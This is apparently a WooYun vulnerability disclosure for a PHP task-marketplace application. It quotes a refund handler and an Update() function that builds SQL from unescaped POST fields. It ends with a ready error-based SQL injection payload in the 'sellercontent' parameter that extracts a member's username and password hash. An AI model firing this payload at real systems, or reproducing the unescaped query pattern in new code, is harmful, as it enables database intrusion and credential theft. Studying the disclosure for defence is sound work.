WooYun.org

if($this->cid>0){
					$getprocess=new TaskProcess();
					$consumearr=$this->GetMysqlOne('a.*,b.oid,b.tid,b.buyeruid,b.selleruid,b.runid'," ".$this->GetTable('consume')." AS a JOIN ".$this->GetTable('task_order')." AS b ON a.cid=b.cid  WHERE a.cid='$this->cid' AND a.process=5 AND b.buyeruid='$this->uid'");
					//认证
					$selleruid=$consumearr['selleruid'];
					$issellersecurity=0;
					if($this->IsSQL('member_security_certificate'," WHERE sid=1 AND uid='$selleruid' ")){
						 $issellersecurity=1;
					}   
					if($this->rid>0){
						   $refund=$this->GetMysqlOne('*'," ".$this->GetTable('rights')." WHERE rid='$this->rid' AND buyeruid='$this->uid'");
					}else{
						   $refund=$this->GetMysqlOne('*'," ".$this->GetTable('rights')." WHERE cid='$this->cid' AND buyeruid='$this->uid'");
						   if($refund['rid']>0){
								 $this->rid=$refund['rid'];
						   }
					}
					if($consumearr['cid']>0){
					if(true==true){
						   $sellerarr=$this->GetMysqlOne('uid,username'," ".$this->GetTable('member')." WHERE uid='$consumearr[selleruid]' ");
						   $buyerarr=$this->GetMysqlOne('uid,username'," ".$this->GetTable('member')." WHERE uid='$consumearr[buyeruid]' ");
						   if($this->uid!=$consumearr['buyeruid']){
							      $this->Refresh('对不起!您没有权限操作!',SURL.'/member.php?app='.$this->app.'&action=1');
					       }
						   //维权时间$rightsendtime=$consumearr['dateline']+intval(PHPAPP::$config['orders_rights_date'])*24*60*60;
						   if($this->POST['submit']){
							      if($this->IsSQL('rights',"WHERE cid='$this->cid' AND process=3")){
										$this->Refresh('该订单您已经申请维权并处理过了!',SURL.'/member.php?app='.$this->app.'&action=1');
								  }
								  if($rightsendtime > $this->NowTime()){	
										$this->POST['content']=$this->str($this->POST['content'],0,0,0,1,0,0,1);	
										include_once(Core.'/class/photo_upload_phpapp.php');
										 if($_FILES['buyerphoto']['size']>0){											   
											   $photoid=empty($refund['buyerphoto']) ? 0 : intval($refund['buyerphoto']);											   $upload=new UploadPhoto($_FILES['buyerphoto'],$photoid);
											   $photoid=$upload->CheckUpload();											   
										 }else{											   
											   if(!empty($refund['buyerphoto'])){
													 
													 $photoid=intval($refund['buyerphoto']);	
											   }											  
										 }	
									   $edittxt='';
									   if($this->rid>0){
											$edittxt='修改了';
									   }											
									   if($this->rid>0){	$this->Update('rights',$this->POST,array('dateline'=>$this->NowTime(),'buyeruid'=>$consumearr['buyeruid'],'selleruid'=>$consumearr['selleruid'],'tid'=>$consumearr['tid'],'cid'=>$consumearr['cid'],'oid'=>$consumearr['oid'],'buyerphoto'=>$photoid,'process'=>1)," WHERE rid='$this->rid' AND buyeruid='$this->uid'");
											
									   }

//表名, 修改数组,添加合并数组,条件
	function Update($tablename,$setarray=array(),$addarr=array(),$whereif=''){		 
		 $setarray=array_merge($setarray,$addarr);		 
		 $deletearr=$this->GetMysqlFieldArray($tablename);		 
		 if($setarray){
			  $sqlset='';
			  foreach($setarray as $key=>$value){
			        $_key=strtolower($key);
				    if(isset($deletearr[$_key])){
				           $value=$this->dataTypeConvert($value,$deletearr[$_key]);
				    	   if($sqlset){
							    $sqlset.=',`'.$_key.'`=\''.$value.'\'';
						   }else{
							    $sqlset='`'.$_key.'`=\''.$value.'\'';
						   }					
					}
			  }			  
			  $query=sprintf('UPDATE %s SET %s %s',$this->GetTable($tablename),$sqlset,$whereif);
	          //exit($query);
			  return $this->MysqlQuery($query);			  
		 }else{
			  return false;
		 }	      
	}

function dataTypeConvert($data,$type){
        switch($type){
            case 'int':
                $data=intval($data);
                break;
            case 'real':
                $data=doubleval($data);
                break;
            case 'timestamp':
                $data=intval($data);
                break;
            case 'string':
            case 'year':
            case 'date':
            case 'time':
            case 'datetime':
            case 'blob':
            default:
                //$data=intval($data);
                break;
        }
        return $data;
    }

submit=111&content=111111&sellercontent=' or(select 1 from (select count(*),concat(floor(rand(0)*2),(select concat
(0x23,username,0x23,password) from phpapp_member limit 0,1))a from information_schema.tables group by a)b) or'